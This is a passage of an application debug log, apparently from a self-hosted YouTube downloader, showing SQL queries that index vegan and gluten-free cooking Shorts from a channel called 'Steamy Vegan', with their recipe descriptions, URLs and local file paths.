rainbow 🌈 salad 🥗/Feta & chickpea rainbow 🌈 salad 🥗 [-YUVE1bK8JY].NA", false, false, true, 4, ~U[2022-06-21 00:00:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This feta + chickpea rainbow salad is one of my fave new summer salads, and be will yours too once you try it! It’s mega yummy, high in plant protein and so hydrating. Check out the full recipe below and follow me for more!\n\nINGREDIENTS — chop, pour, mix, enjoy!\n1 cup chopped basil\n1/2 crown broccoli\n1/2 cucumber\n1 cup grape tomatoes\n1 orange bell pepper\n1 red bell pepper\n1 can chickpeas, drained and rinsed\n1 block vegan feta, crumbled\n\nDressing — combine in a jar and shake to combine \n3 tbsp olive/grapeseed oil\n3 tbsp ACV\n2 tbsp dijon mustard\n2 green onions, diced\nS + P", "Feta & chickpea rainbow 🌈 salad 🥗", 1, 15, false, "-YUVE1bK8JY", "https://www.youtube.com/shorts/-YUVE1bK8JY", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Feta & chickpea rainbow 🌈 salad 🥗/Feta & chickpea rainbow 🌈 salad 🥗 [-YUVE1bK8JY].NA", true, ~U[2022-06-21 00:00:00Z]] 20:31:10.699 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.702 [debug] QUERY OK source="media_items" db=1.7ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 19:00:14Z], 1] 20:31:10.716 [debug] QUERY OK source="media_items" db=13.5ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How hot do you like your spicy foods? Let me know in the comments. For me, I like it when my eyes start sweating lol. \n\nDon't forget to subscribe for more daily content and recipe videos all about the vegan and gluten free diet! Thanks so much for all your support! Janelle\n\nSpicy Mac N' Cheese Video: https://youtu.be/mrnDt0w-gno", "How Hot is Too Hot? #shorts", "70eb2a1e-1dc6-4b6e-a816-8496884fb79e", 1, [], 11, false, "MFEvmigJlBE", "https://www.youtube.com/shorts/MFEvmigJlBE", 362, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 How Hot is Too Hot? #shorts/How Hot is Too Hot? #shorts [MFEvmigJlBE].NA", false, false, true, 3, ~U[2022-06-20 19:00:14Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "How hot do you like your spicy foods? Let me know in the comments. For me, I like it when my eyes start sweating lol. \n\nDon't forget to subscribe for more daily content and recipe videos all about the vegan and gluten free diet! Thanks so much for all your support! Janelle\n\nSpicy Mac N' Cheese Video: https://youtu.be/mrnDt0w-gno", "How Hot is Too Hot? #shorts", 1, 11, false, "MFEvmigJlBE", "https://www.youtube.com/shorts/MFEvmigJlBE", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 How Hot is Too Hot? #shorts/How Hot is Too Hot? #shorts [MFEvmigJlBE].NA", true, ~U[2022-06-20 19:00:14Z]] 20:31:10.717 [debug] QUERY OK source="sources" db=0.6ms idle=18.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.720 [debug] QUERY OK source="media_items" db=2.1ms idle=18.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 16:44:00Z], 1] 20:31:10.721 [debug] QUERY OK source="media_items" db=0.7ms idle=20.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["My reaction to the viral tik tok baked feta pasta. Is it really as good as everyone says it is? I've made mine vegan and gluten-free for my diet and you can make it in whatever way works best for your diet.\n\nYou've gotta try making this recipe. It's quick and easy and so delicious. Check out the full recipe video and let me know how you liked it.\n\nFull Video: https://youtu.be/0x08omFb7wA\n\nDon't forget to subscribe for more plant-based, gluten free recipe videos. Thanks for all your support! Janelle", "Viral Tik Tok Baked Feta Pasta Reaction Video #shorts", "37623060-55d1-4595-b57c-f8c318685836", 1, [], 13, false, "_lD4hyFQGkw", "https://www.youtube.com/shorts/_lD4hyFQGkw", 363, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Viral Tik Tok Baked Feta Pasta Reaction Video #shorts/Viral Tik Tok Baked Feta Pasta Reaction Video #shorts [_lD4hyFQGkw].NA", false, false, true, 3, ~U[2022-06-20 16:44:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "My reaction to the viral tik tok baked feta pasta. Is it really as good as everyone says it is? I've made mine vegan and gluten-free for my diet and you can make it in whatever way works best for your diet.\n\nYou've gotta try making this recipe. It's quick and easy and so delicious. Check out the full recipe video and let me know how you liked it.\n\nFull Video: https://youtu.be/0x08omFb7wA\n\nDon't forget to subscribe for more plant-based, gluten free recipe videos. Thanks for all your support! Janelle", "Viral Tik Tok Baked Feta Pasta Reaction Video #shorts", 1, 13, false, "_lD4hyFQGkw", "https://www.youtube.com/shorts/_lD4hyFQGkw", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Viral Tik Tok Baked Feta Pasta Reaction Video #shorts/Viral Tik Tok Baked Feta Pasta Reaction Video #shorts [_lD4hyFQGkw].NA", true, ~U[2022-06-20 16:44:00Z]] 20:31:10.722 [debug] QUERY OK source="sources" db=0.7ms idle=18.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.724 [debug] QUERY OK source="media_items" db=1.5ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-20 00:30:01Z], 1] 20:31:10.725 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Just gonna drool over these vegan nachos... #veganfood \n\nChorizo -- pickled jalapeños -- cheddar -- green onions -- olives -- yellow peppers -- hella salty tortillas\n\nwhat do you put on YOUR nachos?", "Nacho ordinary (vegan) nachos 🤤 #shorts", "418b050e-5a44-4ca4-a1e4-71f9b0057ae5", 1, [], 8, false, "1CwJKvIMxa0", "https://www.youtube.com/shorts/1CwJKvIMxa0", 364, "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Nacho ordinary (vegan) nachos 🤤 #shorts/Nacho ordinary (vegan) nachos 🤤 #shorts [1CwJKvIMxa0].NA", false, false, true, 3, ~U[2022-06-20 00:30:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Just gonna drool over these vegan nachos... #veganfood \n\nChorizo -- pickled jalapeños -- cheddar -- green onions -- olives -- yellow peppers -- hella salty tortillas\n\nwhat do you put on YOUR nachos?", "Nacho ordinary (vegan) nachos 🤤 #shorts", 1, 8, false, "1CwJKvIMxa0", "https://www.youtube.com/shorts/1CwJKvIMxa0", "/downloads/downloads/alec/Steamy Vegan/2022-06-20 Nacho ordinary (vegan) nachos 🤤 #shorts/Nacho ordinary (vegan) nachos 🤤 #shorts [1CwJKvIMxa0].NA", true, ~U[2022-06-20 00:30:01Z]] 20:31:10.727 [debug] QUERY OK source="sources" db=1.0ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.728 [debug] QUERY OK source="media_items" db=1.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 23:30:06Z], 1] 20:31:10.729 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Eating plant-based has never been easier or more delicious! With boatloads of new plant-based alternatives to your fave dairy & animal products, changing your diet to improve your health (and the health of our planet!) has NEVER been easier.\n\nPlus with rising food costs (especially meat) it's truly a no-brainer to switch to more plant-based meals to help your wallet, and the Earth. \n\nEat more veggies!", "This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑", "fc23b3f5-ae52-4c86-9e01-616d5b8d955d", 1, [], 15, false, "z9Fth5iI7GU", "https://www.youtube.com/shorts/z9Fth5iI7GU", 365, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑/This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑 [z9Fth5iI7GU].NA", false, false, true, 3, ~U[2022-06-18 23:30:06Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Eating plant-based has never been easier or more delicious! With boatloads of new plant-based alternatives to your fave dairy & animal products, changing your diet to improve your health (and the health of our planet!) has NEVER been easier.\n\nPlus with rising food costs (especially meat) it's truly a no-brainer to switch to more plant-based meals to help your wallet, and the Earth. \n\nEat more veggies!", "This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑", 1, 15, false, "z9Fth5iI7GU", "https://www.youtube.com/shorts/z9Fth5iI7GU", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑/This is your sign… 🪧 to EAT 🌶 MORE 🍅 VEGGIES! 🥑 [z9Fth5iI7GU].NA", true, ~U[2022-06-18 23:30:06Z]] 20:31:10.730 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.732 [debug] QUERY OK source="media_items" db=1.9ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 18:00:10Z], 1] 20:31:10.734 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["4 ways to make your macaroni and cheese epic!!! I've made my mac and cheeses gluten free and vegan and I absolutely love all 4 of these recipes.\n\nCheck out the full video here. It's our 2nd episode of the cheat day challenge so you get to see Brad and I go head to head with our mac and cheeses and you get to choose your winner...\n\nFull video: https://youtu.be/mrnDt0w-gno\n\nDon't forget to subscribe to my channel for more daily content about being on a gluten free and vegan diet. Thanks for your support!\nJanelle", "Greatest of All Time Macaroni and Cheese", "e62757a0-12d2-4391-9414-2b23c73446ab", 1, [], 14, false, "XdszBEvbAMQ", "https://www.youtube.com/shorts/XdszBEvbAMQ", 366, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Greatest of All Time Macaroni and Cheese/Greatest of All Time Macaroni and Cheese [XdszBEvbAMQ].NA", false, false, true, 3, ~U[2022-06-18 18:00:10Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "4 ways to make your macaroni and cheese epic!!! I've made my mac and cheeses gluten free and vegan and I absolutely love all 4 of these recipes.\n\nCheck out the full video here. It's our 2nd episode of the cheat day challenge so you get to see Brad and I go head to head with our mac and cheeses and you get to choose your winner...\n\nFull video: https://youtu.be/mrnDt0w-gno\n\nDon't forget to subscribe to my channel for more daily content about being on a gluten free and vegan diet. Thanks for your support!\nJanelle", "Greatest of All Time Macaroni and Cheese", 1, 14, false, "XdszBEvbAMQ", "https://www.youtube.com/shorts/XdszBEvbAMQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Greatest of All Time Macaroni and Cheese/Greatest of All Time Macaroni and Cheese [XdszBEvbAMQ].NA", true, ~U[2022-06-18 18:00:10Z]] 20:31:10.735 [debug] QUERY OK source="sources" db=0.6ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.737 [debug] QUERY OK source="media_items" db=2.0ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-18 14:00:25Z], 1] 20:31:10.738 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Getting your daily intake of vitamin P has been shown to increase happiness by up to 100% 😊\n\nCatch my other bomb-diggity pastas here: https://www.youtube.com/playlist?list=PLf7woCLAh2s_zMY_ilvwpv-EvRNMbkHG3", "Get your vitamin P(asta) 🍝", "975583d0-6eb3-4de7-88fe-ab5634ae1243", 1, [], 15, false, "VpCf1jYixpA", "https://www.youtube.com/shorts/VpCf1jYixpA", 367, "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Get your vitamin P(asta) 🍝/Get your vitamin P(asta) 🍝 [VpCf1jYixpA].NA", false, false, true, 3, ~U[2022-06-18 14:00:25Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Getting your daily intake of vitamin P has been shown to increase happiness by up to 100% 😊\n\nCatch my other bomb-diggity pastas here: https://www.youtube.com/playlist?list=PLf7woCLAh2s_zMY_ilvwpv-EvRNMbkHG3", "Get your vitamin P(asta) 🍝", 1, 15, false, "VpCf1jYixpA", "https://www.youtube.com/shorts/VpCf1jYixpA", "/downloads/downloads/alec/Steamy Vegan/2022-06-18 Get your vitamin P(asta) 🍝/Get your vitamin P(asta) 🍝 [VpCf1jYixpA].NA", true, ~U[2022-06-18 14:00:25Z]] 20:31:10.739 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.741 [debug] QUERY OK source="media_items" db=1.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 23:30:05Z], 1] 20:31:10.742 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Focaccia bread is the focc-ing bomb.com 💣 \n\nEspecially when you can make it vegan and gluten-free! 🌿", "I can’t focc-ing help myself 🥖 🍞", "9d4070f0-854e-4a1c-8b1f-60390fe7fba0", 1, [], 15, false, "sjbS6rb8-Eo", "https://www.youtube.com/shorts/sjbS6rb8-Eo", 368, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 I can’t focc-ing help myself 🥖 🍞/I can’t focc-ing help myself 🥖 🍞 [sjbS6rb8-Eo].NA", false, false, true, 4, ~U[2022-06-17 23:30:05Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Focaccia bread is the focc-ing bomb.com 💣 \n\nEspecially when you can make it vegan and gluten-free! 🌿", "I can’t focc-ing help myself 🥖 🍞", 1, 15, false, "sjbS6rb8-Eo", "https://www.youtube.com/shorts/sjbS6rb8-Eo", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 I can’t focc-ing help myself 🥖 🍞/I can’t focc-ing help myself 🥖 🍞 [sjbS6rb8-Eo].NA", true, ~U[2022-06-17 23:30:05Z]] 20:31:10.743 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.746 [debug] QUERY OK source="media_items" db=2.2ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 18:30:32Z], 1] 20:31:10.746 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm staying #coolforthesummer with pizza, 'cause all the cool kids put pesto on their pizzas nowadays, right? \n\nbutternut squash pizza crust\nhomemade basil pesto\nfresh zucchini\nhomemade roasted peppers\nblack ollies\nmore fresh basil\n\n* chef's kiss * SUBSCRIBE FOR MORE", "Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts", "57dc4ba8-23c8-4acc-aea5-f20b93be553a", 1, [], 15, false, "Y8E03UMXFD4", "https://www.youtube.com/shorts/Y8E03UMXFD4", 369, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts/Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts [Y8E03UMXFD4].NA", false, false, true, 4, ~U[2022-06-17 18:30:32Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I'm staying #coolforthesummer with pizza, 'cause all the cool kids put pesto on their pizzas nowadays, right? \n\nbutternut squash pizza crust\nhomemade basil pesto\nfresh zucchini\nhomemade roasted peppers\nblack ollies\nmore fresh basil\n\n* chef's kiss * SUBSCRIBE FOR MORE", "Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts", 1, 15, false, "Y8E03UMXFD4", "https://www.youtube.com/shorts/Y8E03UMXFD4", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts/Got my mind on your pizza and your pizza on my mind 🍕 🤤 #shorts [Y8E03UMXFD4].NA", true, ~U[2022-06-17 18:30:32Z]] 20:31:10.747 [debug] QUERY OK source="sources" db=0.5ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.749 [debug] QUERY OK source="media_items" db=1.9ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-17 14:00:31Z], 1] 20:31:10.750 [debug] QUERY OK source="media_items" db=0.9ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["On a vegan and gluten free diet you can definitely have some pretty epic cheat meals or full days. These are just a few of my go-to cheat day meals that I like to have at least once per month if I've behaved with my diet and exercising.\n\nCheck out the full recipe videos below:\n1. Blender Banana Pancakes: https://youtu.be/Ku7a74eh3a8\n2. 4 Epic Cheat Day Grilled Cheeses: https://youtu.be/2PBpb8LJWwE\n3. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n4. 4 Epic Cheat Day Mac 'N Cheeses: https://youtu.be/mrnDt0w-gno\n\nSubscribe for more daily content all about vegan and gluten free cooking! Thanks for all your support! \nJanelle", "What I Eat as a Vegan on a Cheat Day", "5614dde1-8b25-4e8e-b377-6fbf6b2f8990", 1, [], 15, false, "c6VUfL_hFbQ", "https://www.youtube.com/shorts/c6VUfL_hFbQ", 370, "/downloads/downloads/alec/Steamy Vegan/2022-06-17 What I Eat as a Vegan on a Cheat Day/What I Eat as a Vegan on a Cheat Day [c6VUfL_hFbQ].NA", false, false, true, 4, ~U[2022-06-17 14:00:31Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "On a vegan and gluten free diet you can definitely have some pretty epic cheat meals or full days. These are just a few of my go-to cheat day meals that I like to have at least once per month if I've behaved with my diet and exercising.\n\nCheck out the full recipe videos below:\n1. Blender Banana Pancakes: https://youtu.be/Ku7a74eh3a8\n2. 4 Epic Cheat Day Grilled Cheeses: https://youtu.be/2PBpb8LJWwE\n3. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n4. 4 Epic Cheat Day Mac 'N Cheeses: https://youtu.be/mrnDt0w-gno\n\nSubscribe for more daily content all about vegan and gluten free cooking! Thanks for all your support! \nJanelle", "What I Eat as a Vegan on a Cheat Day", 1, 15, false, "c6VUfL_hFbQ", "https://www.youtube.com/shorts/c6VUfL_hFbQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-17 What I Eat as a Vegan on a Cheat Day/What I Eat as a Vegan on a Cheat Day [c6VUfL_hFbQ].NA", true, ~U[2022-06-17 14:00:31Z]] 20:31:10.751 [debug] QUERY OK source="sources" db=0.6ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 